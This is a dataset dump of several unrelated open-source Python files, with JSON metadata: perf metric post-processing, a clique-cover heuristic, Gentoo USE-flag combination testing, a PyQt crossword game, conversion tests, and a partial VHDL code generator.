perf_data_df,\n out_file_path,\n group_to_event,\n metadata,\n metrics,\n perf_mode,\n pertxn=None,\n verbose=False,\n fail_postprocessing=False,\n):\n # filter out uncore metrics if in cpu or socket mode\n filtered_metrics = []\n for m in metrics:\n if perf_mode == Mode.CPU or perf_mode == Mode.Socket:\n if any(\n [\n e.startswith(\"power/\")\n or e.startswith(\"cstate_\")\n or e.startswith(\"UNC_\")\n for e in m[\"events\"]\n ]\n ):\n continue\n filtered_metrics.append(m)\n\n time_slice_groups = perf_data_df.groupby(\"ts\", sort=False)\n time_metrics_result = {}\n errors = {\n \"MISSING DATA\": set(),\n \"ZERO DIVISION\": set(),\n \"MISSING EVENTS\": set(),\n \"MULTIPLE GROUPS\": set(),\n \"NOT COUNTED GROUPS\": set(),\n }\n prev_time_slice = 0\n logging.info(\n \"processing \"\n + str(time_slice_groups.ngroups)\n + \" samples in \"\n + (\n \"System\"\n if perf_mode == Mode.System\n else \"CPU\"\n if perf_mode == Mode.CPU\n else \"Socket\"\n )\n + \" mode\"\n )\n group_start_end_index_dict = {}\n for time_slice, item in time_slice_groups:\n time_slice_float = float(time_slice)\n if time_slice_float - prev_time_slice < 4.5:\n logging.warning(\"throwing out last sample because it was too short\")\n if time_slice_groups.ngroups == 1:\n crash(\"no remaining samples\")\n continue\n time_slice_df = time_slice_groups.get_group(time_slice).copy()\n # normalize by difference between current time slice and previous time slice\n # this ensures that all our events are per-second, even if perf is collecting\n # over a longer time slice\n time_slice_df[\"value\"] = time_slice_df[\"value\"] / (\n time_slice_float - prev_time_slice\n )\n prev_time_slice = time_slice_float\n # get dictionary with group_ids as keys and group dataframes as values\n # We save the start and end indexes for each group in the first iteration and use it in the following iterations\n # group_start_end_index_dict is an out argument in the first iteration, and an input argument for following iterations\n group_to_df = get_groups_to_dataframes(\n time_slice_df, group_to_event, group_start_end_index_dict, perf_mode\n )\n\n time_metrics_result[time_slice] = evaluate_metrics(\n verbose, filtered_metrics, metadata, group_to_event, group_to_df, errors\n )\n\n time_series_df = pd.DataFrame(time_metrics_result).reindex(\n index=list(time_metrics_result[list(time_metrics_result.keys())[0]].keys())\n )\n\n if verbose:\n for error in errors:\n logging.warning(\n str(len(errors[error])) + \" \" + error + \": \" + str(errors[error])\n )\n if fail_postprocessing and (\n len(errors[\"MISSING EVENTS\"]) > 0 or len(errors[\"ZERO DIVISION\"]) > 0\n ):\n crash(\"Failing due to postprocessing errors\")\n\n # add psi\n if len(meta_data[\"PSI\"]) > 0 and perf_mode == Mode.System:\n psi_len = range(len(time_series_df.columns))\n time_series_df.loc[\"cpu stall %\"] = [\n (int(meta_data[\"PSI\"][0][x + 1]) - int(meta_data[\"PSI\"][0][x])) / 50000\n for x in psi_len\n ]\n time_series_df.loc[\"memory stall %\"] = [\n (int(meta_data[\"PSI\"][1][x + 1]) - int(meta_data[\"PSI\"][1][x])) / 50000\n for x in psi_len\n ]\n time_series_df.loc[\"io stall %\"] = [\n (int(meta_data[\"PSI\"][2][x + 1]) - int(meta_data[\"PSI\"][2][x])) / 50000\n for x in psi_len\n ]\n\n generate_metrics_time_series(time_series_df, perf_mode, out_file_path)\n generate_metrics_averages(time_series_df, perf_mode, out_file_path)\n if perf_mode == Mode.System:\n write_html(time_series_df, perf_mode, out_file_path, meta_data, pertxn)\n return\n\n\ndef generate_raw_events_system(perf_data_df, out_file_path):\n perf_data_df_system_raw = (\n perf_data_df[[\"metric\", \"value\"]].groupby(\"metric\")[\"value\"].sum().to_frame()\n )\n last_time_stamp = float(perf_data_df[\"ts\"].tail(1).values[0])\n # average per second. Last time stamp = total collection duration in seconds\n perf_data_df_system_raw[\"avg\"] = np.where(\n perf_data_df_system_raw[\"value\"] > 0,\n perf_data_df_system_raw[\"value\"] / last_time_stamp,\n 0,\n )\n\n sys_raw_file_name = get_extra_out_file(out_file_path, \"r\")\n perf_data_df_system_raw[\"avg\"].to_csv(sys_raw_file_name)\n\n return\n\n\ndef generate_raw_events_socket(perf_data_df, out_file_path):\n # print raw values persocket\n perf_data_df_scoket_raw = (\n perf_data_df[[\"metric\", \"socket\", \"value\"]]\n .groupby([\"metric\", \"socket\"])[\"value\"]\n .sum()\n .to_frame()\n )\n last_time_stamp = float(perf_data_df[\"ts\"].tail(1).values[0])\n perf_data_df_scoket_raw[\"avg\"] = np.where(\n perf_data_df_scoket_raw[\"value\"] > 0,\n perf_data_df_scoket_raw[\"value\"] / last_time_stamp,\n 0,\n )\n\n metric_per_socket_frame = pd.pivot_table(\n perf_data_df_scoket_raw,\n index=\"metric\",\n columns=\"socket\",\n values=\"avg\",\n fill_value=0,\n )\n\n socket_raw_file_name = get_extra_out_file(out_file_path, \"sr\")\n metric_per_socket_frame.to_csv(socket_raw_file_name)\n\n return\n\n\ndef generate_raw_events_cpu(perf_data_df, out_file_path):\n # print raw values per CPU\n perf_data_df_CPU_raw = (\n perf_data_df[[\"metric\", \"cpu\", \"value\"]]\n .groupby([\"metric\", \"cpu\"])[\"value\"]\n .sum()\n .to_frame()\n )\n last_time_stamp = float(perf_data_df[\"ts\"].tail(1).values[0])\n perf_data_df_CPU_raw[\"avg\"] = np.where(\n perf_data_df_CPU_raw[\"value\"] > 0,\n perf_data_df_CPU_raw[\"value\"] / last_time_stamp,\n 0,\n )\n\n metric_per_CPU_frame = pd.pivot_table(\n perf_data_df_CPU_raw,\n index=\"metric\",\n columns=\"cpu\",\n values=\"avg\",\n fill_value=0,\n )\n # drop uncore and power metrics\n to_drop = []\n for metric in metric_per_CPU_frame.index:\n if metric.startswith(\"UNC_\") or metric.startswith(\"power/\"):\n to_drop.append(metric)\n metric_per_CPU_frame.drop(to_drop, inplace=True)\n\n CPU_raw_file_name = get_extra_out_file(out_file_path, \"cr\")\n metric_per_CPU_frame.to_csv(CPU_raw_file_name)\n\n return\n\n\ndef generate_raw_events(perf_data_df, out_file_path, perf_mode):\n if perf_mode.System:\n generate_raw_events_system(perf_data_df, out_file_path)\n elif perf_mode.Socket:\n generate_raw_events_socket(perf_data_df, out_file_path)\n elif perf_mode.CPU:\n generate_raw_events_cpu(perf_data_df, out_file_path)\n\n\nif __name__ == \"__main__\":\n common.configure_logging(\".\")\n script_path = os.path.dirname(os.path.realpath(__file__))\n if \"_MEI\" in script_path:\n script_path = script_path.rsplit(\"/\", 1)[0]\n # Parse arguments and check validity\n args = get_args(script_path)\n input_file_path = args.rawfile\n out_file_path = args.outfile\n # read all metadata, perf evernts, and perf data lines\n # Note: this might not be feasible for very large files\n meta_data_lines, perf_event_lines, perf_data_lines = get_all_data_lines(\n input_file_path\n )\n\n # parse metadata and get mode (system, socket, or CPU)\n meta_data = get_metadata_as_dict(meta_data_lines, args.pertxn)\n perf_mode = Mode.System\n if \"PERSOCKET_MODE\" in meta_data and meta_data[\"PERSOCKET_MODE\"]:\n perf_mode = Mode.Socket\n elif \"PERCPU_MODE\" in meta_data and meta_data[\"PERCPU_MODE\"]:\n perf_mode = Mode.CPU\n\n # fix c6 residency values\n perf_data_lines = get_fixed_c6_residency_fields(perf_data_lines, perf_mode)\n\n # set const TSC according to perf_mode\n set_CONST_TSC(meta_data, perf_mode)\n\n # parse event groups\n event_groups = get_event_groups(perf_event_lines)\n # extract data frame\n perf_data_df = extract_dataframe(perf_data_lines, meta_data, perf_mode)\n\n # parse metrics expressions\n metrics = get_metrics_formula(meta_data[\"constants\"][\"CONST_ARCH\"], args.pertxn)\n\n if args.rawevents: # generate raw events for system, socket and CPU\n generate_raw_events(perf_data_df, out_file_path, perf_mode)\n\n # generate metrics for each cgroup\n if \"CGROUPS\" in meta_data and meta_data[\"CGROUPS\"] == \"enabled\":\n for cgroup_id in meta_data[\"CGROUP_HASH\"]:\n container_id = meta_data[\"CGROUP_HASH\"][cgroup_id]\n set_CONST_TSC(meta_data, perf_mode, meta_data[\"CPUSETS\"][container_id])\n cgroup_id_perf_data_df = perf_data_df[perf_data_df[\"cgroup\"] == cgroup_id]\n cgroup_id_out_file_path = (\n out_file_path.rsplit(\".csv\", 1)[0]\n + \"_\"\n + meta_data[\"CGROUP_HASH\"][cgroup_id]\n + \".csv\"\n )\n generate_metrics(\n cgroup_id_perf_data_df,\n cgroup_id_out_file_path,\n event_groups,\n meta_data,\n metrics,\n perf_mode,\n args.pertxn,\n args.verbose,\n args.fail_postprocessing,\n )\n else:\n generate_metrics(\n perf_data_df,\n out_file_path,\n event_groups,\n meta_data,\n metrics,\n perf_mode,\n args.pertxn,\n args.verbose,\n args.fail_postprocessing,\n )\n if perf_mode != Mode.System: # always generate metrics on system level\n set_CONST_TSC(meta_data, Mode.System)\n generate_metrics(\n perf_data_df,\n out_file_path,\n event_groups,\n meta_data,\n metrics,\n Mode.System,\n args.pertxn,\n args.verbose,\n args.fail_postprocessing,\n )\n\n logging.info(\"Generated results file(s) in: \" + out_file_path.rsplit(\"/\", 1)[0])\n logging.info(\"Done!\")\n","repo_name":"intel/PerfSpect","sub_path":"perf-postprocess.py","file_name":"perf-postprocess.py","file_ext":"py","file_size_in_byte":44549,"program_lang":"python","lang":"en","doc_type":"code","stars":211,"dataset":"github-code","pt":"37"} +{"seq_id":"26463346634","text":"import numpy as np\nimport math\nimport time\nimport random\nfrom itertools import combinations\nfrom collections import defaultdict\n\n\nfrom helpers import cliques_from_list, is_solution, neighbors\nfrom test_instances import test_graph1, test_graph2\n\n\ndef greedy(adj_mat, repetitions=10):\n n = adj_mat.shape[0]\n # print(adj_mat)\n best = [x for x in range(1, n+1)]\n for r in range(repetitions):\n # print(best)\n vertices = [x for x in range(1, n+1)]\n # random.seed(1)\n random.shuffle(vertices) # random permutation of vertices\n cliques = [0 for x in range(n)]\n sizes = defaultdict(int) # size of each clique\n sizes[0] = n\n c = 1 # clique names\n for i in range(n):\n v = vertices[i]\n labeled = False\n # will count the size of each clique among the neighbors of v:\n neighbors_cliques = defaultdict(int)\n ret = neighbors(v, adj_mat)\n\n for neighbor in neighbors(v, adj_mat):\n # traverse over each neighbor of vertex and find cliques of neighbor\n neighbors_cliques[cliques[neighbor-1]] += 1\n for clique, size in neighbors_cliques.items():\n if size == sizes[clique]:\n cliques[v-1] = clique\n sizes[clique] += 1 # contains size of clique\n labeled = True\n break\n # continue\n if not labeled:\n cliques[v-1] = c\n sizes[c] += 1\n c += 1\n if len(set(cliques)) < len(set(best)):\n best = cliques\n print(cliques)\n return best\n\n\ndef main():\n test_graph = test_graph2\n start_time = time.time()\n solution = cliques_from_list(greedy(test_graph))\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n print(len(solution), \"cliques:\", solution)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nazmul088/Clique-Cover","sub_path":"heuristics.py","file_name":"heuristics.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10069703842","text":"\"\"\"Use Flag Mechanics \"\"\"\n\nimport random\nimport re\nimport math\nfrom portage.dep import check_required_use, dep_getcpv\nfrom subprocess import *\n\nfrom .tool import unique\nfrom gentoolkit.flag import get_flags, reduce_flags\n\ndef all_valid_flags(flag):\n return True\n\ndef check_uses(ruse, uselist, sw, package):\n act = [] # check_required_use doesn't like -flag entries\n for pos in range(len(uselist)):\n if ((2**pos) & sw):\n act.append(uselist[pos])\n if bool(check_required_use(ruse, \" \".join(act), all_valid_flags)):\n return True\n else:\n print(\" \" + package.packageString() + \": ignoring invalid USE flag combination\", act)\n return False\n\n## Useflag Combis ##\ndef findUseFlagCombis (package, config, port):\n \"\"\"\n Generate combinations of use flags to test\n The output will be a list each containing a ready to use USE=... string\n \"\"\"\n uselist = sorted(reduce_flags(get_flags(dep_getcpv(package.packageString()))))\n # The uselist could have duplicates due to slot-conditional\n # output of equery\n uselist=unique(uselist)\n for i in config['ignoreprefix']:\n uselist=[u for u in uselist if not re.match(i,u)]\n\n ruse = \" \".join(port.aux_get(dep_getcpv(package.packageString()), [\"REQUIRED_USE\"]))\n swlist = []\n if config['usecombis'] == 0:\n # Do only all and nothing:\n if check_uses(ruse, uselist, 0, package):\n swlist.append(0)\n if check_uses(ruse, uselist, 2**len(uselist) - 1):\n swlist.append(2**len(uselist) - 1)\n # Test if we can exhaust all USE-combis by computing the binary logarithm.\n elif len(uselist) > math.log(config['usecombis'],2):\n \n # Generate a sample of USE combis\n s = 2**(len (uselist))\n rnds = set()\n random.seed()\n \n attempts = 0\n ignore_use_expand = False\n\n while len(swlist) < config['usecombis'] and len(rnds) < s:\n if attempts >= 10000:\n if not ignore_use_expand:\n # After 10000 attempts, let's give up on USE_EXPAND.\n ignore_use_expand = True\n attempts = 0\n\n print(\"Giving up on USE_EXPAND after {0} tries to find valid USE combinations\".format(attempts))\n print(\"We've found {0} USE combinations so far\".format(len(swlist)))\n uselist = [use for use in uselist if not \"_\" in use]\n else:\n # Let's give up entirely and use what we have.\n print(\"Giving up on finding more USE combinations after {0} further attempts\".format(attempts))\n print(\"We've found {0} USE combinations\".format(len(swlist)))\n break\n\n r = random.randint(0, s-1)\n if r in rnds:\n # already checked\n continue\n rnds.add(r)\n\n if not check_uses(ruse, uselist, r, package):\n attempts += 1\n # invalid combination\n continue\n\n swlist.append(r)\n\n swlist.sort()\n else:\n # Yes we can: generate all combinations\n for pos in range(2**len(uselist)):\n if check_uses(ruse, uselist, pos, package):\n swlist.append(pos)\n\n usecombis=[]\n for sw in swlist:\n mod = []\n for pos in range(len(uselist)):\n if ((2**pos) & sw):\n mod.append(\"\")\n else:\n mod.append(\"-\")\n usecombis.append(\" \".join([\"\".join(uf) for uf in list(zip(mod, uselist))]))\n\n # Merge everything to a USE=\"\" string\n return [\"USE=\\'\" + uc + \"\\'\" for uc in usecombis]\n","repo_name":"gentoo/tatt","sub_path":"tatt/usecombis.py","file_name":"usecombis.py","file_ext":"py","file_size_in_byte":3699,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"20838137085","text":"from PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QApplication, QWidget\nfrom PyQt5.QtWidgets import QLayout, QGridLayout\nfrom PyQt5.QtWidgets import QTextEdit, QLineEdit, QToolButton,QMessageBox\n\nimport copy\nfrom res_check import Res_Check\nfrom puzzle_make import Puzzle_make\nfrom puzzle_load_words import Puzzle_load_words\nfrom word import Word\n\nclass Game(QWidget):\n def __init__(self, parent=None):\n \t#GUI설정\n super().__init__(parent)\n self.gameLayout = QGridLayout()\n self.statusLayout = QGridLayout()\n self.mainLayout = QGridLayout()\n self.statustxt = QTextEdit()\n self.statusLayout.addWidget(self.statustxt)\n self.statustxt.setFixedSize(200,80)\n self.statustxt.setReadOnly(True)\n self.mainLayout.addLayout(self.statusLayout, 0, 1)\n self.rescheckButton = QToolButton()\n self.rescheckButton.setText('Res Check!')\n self.rescheckButton.clicked.connect(self.res_Check_Clicked)\n self.statusLayout.addWidget(self.rescheckButton, 0, 1)\n self.setLayout(self.mainLayout)\n self.setGeometry(100,200,300,400)\n self.setFixedSize(1000,800)\n self.setWindowTitle('CrossWord Game')\n self.startGame()\n def startGame(self):\n \t#변수 초기화및 모듈초기화\n self.win = False\n self.Word = Word(\"word.txt\")\n self.Puzzle_make = Puzzle_make()\n self.gameOver = False\n self.Puzzle_make.make_puzzle()\n self.statustxt.clear()\n for i in reversed(range(self.gameLayout.count())):\n self.gameLayout.itemAt(i).widget().setParent(None)\n self.gameSlot=\"\"\n self.gameSlot = copy.deepcopy(self.Puzzle_make.puzzle_board)\n print(self.Puzzle_make.puzzle_board)\n self.life = 10\n self.statustxt.setText(\"life : \" + str(self.life))\n #puzzle_make에서 생성된 퍼즐을 GUI로 변환\n for i in range(len(self.Puzzle_make.puzzle_board)):\n for j in range(len(self.Puzzle_make.puzzle_board[i])):\n self.gameSlot[i][j]=QTextEdit()\n if self.Puzzle_make.puzzle_board[i][j]=='#':\n self.gameSlot[i][j].setText(\"#\")\n self.gameSlot[i][j].setReadOnly(True)\n self.gameSlot[i][j].setStyleSheet(\"background-color: black;\")\n elif self.Puzzle_make.puzzle_board[i][j]!='_':\n self.gameSlot[i][j].setText(self.Puzzle_make.puzzle_board[i][j])\n self.gameSlot[i][j].setReadOnly(True)\n else:\n self.gameSlot[i][j].setText(\"\")\n self.gameSlot[i][j].setReadOnly(False)\n font = self.gameSlot[i][j].font()\n font.setPointSize(font.pointSize()+30)\n self.gameSlot[i][j].setFont(font)\n self.gameSlot[i][j].setFixedHeight(100)\n self.gameSlot[i][j].setFont(font)\n self.gameSlot[i][j].setAlignment(Qt.AlignCenter)\n \t#GUI 출력\n self.gameLayout.addWidget(self.gameSlot[i][j],i,j)\n self.mainLayout.addLayout(self.gameLayout, 0, 0)\n self.setLayout(self.mainLayout)\n #정답파일을 res_check로 전송 및 초기화\n self.res_check = Res_Check(self.Puzzle_make.res_puzzle)\n print(self.Puzzle_make.res_puzzle)\n def res_Check_Clicked(self):\n \t#이미 승리하였다면 게임 초기화\n if self.win == True:\n self.startGame()\n #목숨이 0이면 게임오버 출력, 게임 초기화\n if self.gameOver == True:\n print(\"GameOver\")\n #self.statustxt.setText(\"Game Over\\nStart new game\")\n self.startGame()\n return\n #퍼즐판을 복사한 후 1문자로 이루어지지않는 텍스트위젯이 존재할경우 리턴\n self.nowslot = \"\"\n self.nowslot = copy.deepcopy(self.Puzzle_make.puzzle_board)\n for i in range(len(self.gameSlot)):\n for j in range(len(self.gameSlot[i])):\n self.nowslot[i][j]=self.gameSlot[i][j].toPlainText()\n if len(self.nowslot[i][j])>1: #여러개의 문자가 들어왔을 때 에러 처리\n msg=QMessageBox()\n msg.setIcon(QMessageBox.Critical)\n msg.setText(\"알파벳 하나만 입력하세요.\")\n msg.setWindowTitle(\"---경고---\")\n msg.exec_()\n # self.statustxt.setText(\"알파벳 하나만 입력하세요.\")\n print(\"not 1 word\")\n return\n elif len(self.nowslot[i][j])==0: #빈칸이 존재할 시 에러 처리\n msg=QMessageBox()\n msg.setIcon(QMessageBox.Critical)\n msg.setText(\"빈칸이 존재합니다. 모두 채워주세요.\")\n msg.setWindowTitle(\"---경고---\")\n msg.exec_()\n # self.statustxt.setText(\"빈칸이 존재합니다. 모두 채워주세요.\")\n print(\"exist 0 word\")\n return\n #res_check.py를 통해 정답인지 체크\n success = self.res_check.cmp(self.nowslot)\n if success == False:\n #정답이 아니면 목숨-1\n self.life-=1\n print(\"-1 life\")\n self.statustxt.setText(\"life : \" + str(self.life))\n if(self.life==0):\n \t#목숨이 0이라면 게임오버 true\n self.statustxt.setText(\"Game Over\\nStart new game\")\n self.gameOver=True\n return\n #승리했다면 승리문구 출력 및 win 변수 true\n self.statustxt.setText(\"You Win!\\npush res check button to restart\")\n self.win = True\nif __name__ == '__main__':\n import sys\n app = QApplication(sys.argv)\n game = Game()\n game.show()\n sys.exit(app.exec())\n \n","repo_name":"Eun-sun-Lee/ADProject-5-I-","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25442502490","text":"import pytest\nfrom pytest import mark\n\nfrom manager import _conversions\n\nMEMORY_SCENARIOS = (\n (\"2K\", 2000),\n (\"2.1Ki\", int(2.1 * 1024)),\n (\"1.5M\", int(1.5 * 1000 ** 2)),\n (\"23G\", 23 * 1000 ** 3),\n (\"12.212Gi\", int(12.212 * 1024 ** 3)),\n (\"foo\", 0),\n (None, 0),\n)\n\n\n@mark.parametrize(\"size, size_bytes\", MEMORY_SCENARIOS)\ndef test_to_bytes(size: str, size_bytes: int):\n \"\"\"Should convert the string size + units into a bytes integer.\"\"\"\n assert size_bytes == _conversions.to_bytes(size)\n\n\nCPU_SCENARIOS = ((\"2\", 2.0), (\"2.1\", 2.1), (\"210m\", 0.21), (\"\", 0), (None, 0))\n\n\n@mark.parametrize(\"cpu, cpu_value\", CPU_SCENARIOS)\ndef test_to_cpus(cpu: str, cpu_value: float):\n \"\"\"Should convert the string size + units into a bytes integer.\"\"\"\n assert pytest.approx(cpu_value, _conversions.to_cpus(cpu))\n","repo_name":"rocketboosters/kluster-fleet-manager","sub_path":"manager/tests/test_conversions.py","file_name":"test_conversions.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2871519327","text":"# Email: zbl5337@gmail.com\n# Create by Frozen\n# Date: 2022/6/29 0:04\n\n# 从键盘录入两个整数, 计算两个正数的和\n# a = input('请输入一个加数:')\na = int(input('请输入一个加数:'))\n# a = int(a) # 转换之后的结果存储到a中\nb = input('请输入另一个加数:')\nb = int(b) # 转换之后的结果存储到a中\nprint(type(a), type(b))\nprint(a + b)\n","repo_name":"Frank5337/learn_python","sub_path":"msd/chap3/add.py","file_name":"add.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"400396623","text":"from django.shortcuts import render\nfrom django.utils.translation import get_language\nfrom django.conf import settings\n\n\ndef index(request):\n context = {\n 'config': {\n 'language': get_language(),\n 'availableLanguages': settings.LANGUAGES,\n }\n }\n return render(request, 'index.html', context)\n","repo_name":"skitoo/troc-it","sub_path":"trocit/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41863583183","text":"import os,sys,inspect\nif __name__== \"__main__\":\n currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\n parentdir = os.path.dirname(currentdir)\n sys.path.insert(0,parentdir) \n from CodeGen.xgenBase import *\n from CodeGen.xgen_simulation import *\nelse:\n from .xgenBase import *\n from .xgen_simulation import *\n\n\nclass v_symbol_converter(vhdl_converter_base):\n def __init__(self,inc_str):\n super().__init__()\n self.inc_str = inc_str\n\n def includes(self,obj, name,parent):\n ret = slv_includes\n ret += self.inc_str\n return ret\n\n\n def recordMember(self,obj, name, parent,Inout=None):\n if parent._issubclass_(\"v_class\"):\n return name + \" : \" +obj.type\n\n return \"\"\n\n def recordMemberDefault(self, obj,name,parent,Inout=None):\n if parent._issubclass_(\"v_class\"):\n return name + \" => \" + obj.DefaultValue \n\n return \"\"\n\n def getHeader(self, obj,name,parent):\n if obj.vhdl_name:\n name = obj.vhdl_name\n\n if parent._issubclass_(\"v_class\"):\n return \"\"\n \n return name + \" : \" +obj.type +\" := \" + obj.DefaultValue + \"; \\n\"\n\n def getFuncArg(self,obj, name,parent):\n return name + \" : \" + obj.type \n\n def _vhdl_slice(self,obj,sl,astParser=None):\n obj._add_input()\n if \"std_logic_vector\" in obj.type:\n ret = v_sl(obj.Inout)\n ret.vhdl_name = obj.vhdl_name+\"(\"+str(sl)+\")\"\n return ret\n\n raise Exception(\"unexpected type\")\n\n\n def _vhdl__compare_int(self,obj, ops, rhs):\n return str(obj) + \" \"+ obj.hdl_conversion__.ops2str(ops) +\" \" + str(rhs)\n\n def _vhdl__compare_std_logic(self,obj, ops, rhs):\n value = str(rhs).lower()\n if value == \"true\":\n rhs = \"1\"\n elif value == \"false\":\n rhs = \"0\" \n return str(obj) + \" \"+ obj.hdl_conversion__.ops2str(ops) +\" '\" + str(rhs) +\"'\"\n \n def _vhdl__compare_std_logic_vector(self,obj, ops, rhs):\n return str(obj) + \" \"+ obj.hdl_conversion__.ops2str(ops) +\" \" + str(rhs)\n\n def _vhdl__compare(self,obj, ops, rhs):\n obj._add_input()\n if issubclass(type(rhs),vhdl_base):\n rhs._add_input()\n \n if obj.type == \"integer\":\n return obj.hdl_conversion__._vhdl__compare_int(obj, ops, rhs)\n elif obj.type == \"std_logic\":\n return obj.hdl_conversion__._vhdl__compare_std_logic(obj, ops, rhs)\n elif \"std_logic_vector\" in obj.type:\n return obj.hdl_conversion__._vhdl__compare_std_logic_vector(obj, ops, rhs)\n \n\n return str(obj) + \" \"+ obj.hdl_conversion__.ops2str(ops)+\" \" + str(rhs)\n\n def _vhdl__to_bool(self,obj, astParser):\n obj._add_input()\n if obj.type == \"std_logic\":\n return str(obj) + \" = '1'\"\n elif \"std_logic_vector\" in obj.type:\n return str(obj) + \" > 1\"\n elif obj.type == \"boolean\":\n return str(obj)\n elif obj.type == \"integer\":\n return str(obj) + \" > 0\"\n\n return \"pyhdl_to_bool(\" + str(obj) + \") \"\n\n def _vhdl__DefineSymbol(self,obj, VarSymb=None):\n print(\"_vhdl__DefineSymbol is deprecated\")\n if not VarSymb:\n VarSymb = get_varSig(obj.varSigConst)\n\n if obj.__Driver__ != None and str(obj.__Driver__ ) != 'process':\n return \"\"\n name = obj.vhdl_name\n\n \n return VarSymb+ \" \" + name + \" : \" +obj.type +\" := \" + obj.DefaultValue + \"; \\n\"\n def get_architecture_header(self, obj):\n\n if obj.Inout != InOut_t.Internal_t and obj._isInstance == False:\n return \"\"\n \n if obj.varSigConst == varSig.variable_t:\n return \"\"\n \n \n VarSymb = get_varSig(obj.varSigConst)\n\n #if obj.__Driver__ != None and str(obj.__Driver__ ) != 'process':\n # return \"\"\n name = obj.vhdl_name\n\n ret = \" \" + VarSymb+ \" \" + name + \" : \" +obj.type +\" := \" + obj.DefaultValue + \"; \\n\" \n return ret\n\n def get_port_list(self,obj):\n ret = []\n if obj.Inout == InOut_t.Internal_t:\n return ret\n \n if obj.varSigConst != varSig.signal_t:\n return ret\n \n ret.append( obj.vhdl_name + \" : \"+ obj.hdl_conversion__.InOut_t2str(obj) + \" \" + obj.type + \" := \" + obj.DefaultValue)\n return ret\n\n\n def _vhdl__reasign_std_logic(self, obj, rhs, target, astParser=None,context_str=None):\n asOp = obj.hdl_conversion__.get_assiment_op(obj)\n if issubclass(type(rhs),vhdl_base0):\n return target + asOp + str(rhs.hdl_conversion__._vhdl__getValue(rhs, obj.type)) \n return target + asOp+ str(rhs) \n\n def _vhdl__reasign_std_logic_vector(self, obj, rhs, target, astParser=None,context_str=None):\n asOp = obj.hdl_conversion__.get_assiment_op(obj)\n if str(rhs) == '0':\n return target + asOp+ \" (others => '0')\"\n elif issubclass(type(rhs),vhdl_base):\n return target + asOp + str(rhs.hdl_conversion__._vhdl__getValue(rhs, obj.type)) \n elif type(rhs).__name__==\"v_Num\":\n return \"\"\"{dest} {asOp} std_logic_vector(to_unsigned({src}, {dest}'length))\"\"\".format(\n dest=target,\n src = str(rhs.value),\n asOp=asOp\n )\n def _vhdl__reasign_int(self, obj, rhs, target, astParser=None,context_str=None):\n asOp = obj.hdl_conversion__.get_assiment_op(obj)\n if str(rhs) == '0':\n return target + asOp+ \" 0\"\n elif type(rhs).__name__ == \"str\":\n return target + asOp+ str(rhs)\n \n elif rhs.type == \"integer\":\n return target + asOp+ str(rhs)\n elif \"std_logic_vector\" in rhs.type:\n return target + asOp +\" to_integer(signed(\"+ str(rhs)+\"))\"\n \n return target +asOp + str(rhs)\n\n def _vhdl__reasign(self, obj, rhs, astParser=None,context_str=None):\n obj._add_output()\n target = str(obj)\n if obj.varSigConst == varSig.signal_t and not (context_str and (context_str == \"archetecture\" or context_str== \"process\")):\n target = target.replace(\".\",\"_\")\n\n if issubclass(type(rhs),vhdl_base0) and str( obj.__Driver__) != 'process':\n obj.__Driver__ = rhs\n \n if isProcess():\n obj.__Driver__ = 'process'\n\n \n if obj.type == \"std_logic\":\n return obj.hdl_conversion__._vhdl__reasign_std_logic(obj, rhs,target, astParser,context_str)\n elif \"std_logic_vector\" in obj.type:\n return obj.hdl_conversion__._vhdl__reasign_std_logic(obj, rhs,target, astParser,context_str)\n elif obj.type == \"integer\":\n return obj.hdl_conversion__._vhdl__reasign_int(obj, rhs,target, astParser,context_str)\n\n asOp = obj.hdl_conversion__.get_assiment_op(obj) \n return target +asOp + str(rhs)\n \n def get_type_simple(self,obj):\n ret = obj.type\n if \"std_logic_vector\" in ret:\n sp1 = int(ret.split(\"downto\")[0].split(\"(\")[1])\n sp2 = int(ret.split(\"downto\")[1].split(\")\")[0])\n sp3 = sp1 -sp2 +1\n ret = \"slv\"+str(sp3)\n return ret\n\n def _vhdl__getValue(self,obj, ReturnToObj=None,astParser=None):\n obj._add_input()\n if ReturnToObj == \"integer\" and \"std_logic_vector\" in obj.type:\n return \"to_integer(signed( \" + str(obj) + \"))\"\n \n return obj\n\n def get_default_value(self,obj):\n return obj.DefaultValue\n\n def length(self,obj):\n ret = v_int()\n ret.vhdl_name=str(obj)+\"'length\"\n return ret\n\n def to_arglist(self,obj, name,parent,withDefault = False):\n inoutstr = obj.hdl_conversion__.InOut_t2str(obj)\n varSigstr = \"\"\n if obj.varSigConst == varSig.signal_t:\n varSigstr = \"signal \"\n\n if not inoutstr:\n inoutstr = \"\"\n default_str = \"\"\n if withDefault and obj._writtenRead != InOut_t.output_t and obj.Inout != InOut_t.output_t:\n default_str = \" := \" + obj.hdl_conversion__.get_default_value(obj)\n\n return varSigstr + name + \" : \" + inoutstr +\" \" + obj.getType() + default_str\n\nclass v_symbol(vhdl_base):\n value_list = []\n def __init__(self, v_type, DefaultValue, Inout = InOut_t.Internal_t,includes=\"\",value=None,varSigConst=varSig.variable_t):\n super().__init__()\n if not varSigConst:\n varSigConst = getDefaultVarSig()\n\n self.hdl_conversion__= v_symbol_converter(includes)\n self.type = v_type\n self.DefaultValue = str(DefaultValue)\n self.Inout = Inout\n \n self.inc = \"\"\n self.vhdl_name = None\n self.value_list.append(get_value_or_default(value, DefaultValue))\n self.value_index = len(self.value_list) -1\n #self.value = get_value_or_default(value, DefaultValue)\n self.nextValue = get_value_or_default(value, DefaultValue)\n self.varSigConst=varSigConst\n self.__Driver__ = None \n self._update_list = list()\n self._update_list_process = list()\n 